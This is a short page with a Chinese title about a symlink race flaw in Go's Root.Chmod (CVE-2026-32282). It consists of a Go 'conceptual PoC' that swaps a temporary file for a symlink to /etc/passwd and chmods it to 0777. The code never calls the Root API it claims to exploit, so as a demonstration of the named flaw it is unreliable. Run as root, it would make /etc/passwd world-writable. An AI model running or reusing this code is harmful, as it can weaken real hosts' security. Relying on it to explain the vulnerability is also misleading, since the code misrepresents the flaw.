CVE-2026-32282 Go语言Root.Chmod符号链接竞争条件漏洞

package main import ( "fmt" "os" "path/filepath" ) // Conceptual PoC for CVE-2026-32282 // This demonstrates the race condition logic. func main() { targetDir := "/tmp/vuln_test" sensitiveFile := "/etc/passwd" targetFile := filepath.Join(targetDir, "target") // Setup environment os.MkdirAll(targetDir, 0755) os.WriteFile(targetFile, []byte("data"), 0644) // Simulate the vulnerable function's check phase fmt.Println("[+] Phase 1: Check - Target is a regular file.") // Simulate the Race Condition (The Exploit) // Attacker replaces the file with a symlink to a sensitive file os.Remove(targetFile) err := os.Symlink(sensitiveFile, targetFile) if err != nil { fmt.Println("Error creating symlink:", err) return } fmt.Printf("[!] Phase 2: Race - Replaced target with symlink to %s\n", sensitiveFile) // Simulate the Action phase (chmod) // If the race is won, the chmod applies to /etc/passwd err = os.Chmod(targetFile, 0777) if err != nil { fmt.Println("[-] Exploit failed:", err) } else { fmt.Println("[+] Exploit successful! Permissions changed on the symlink target.") } }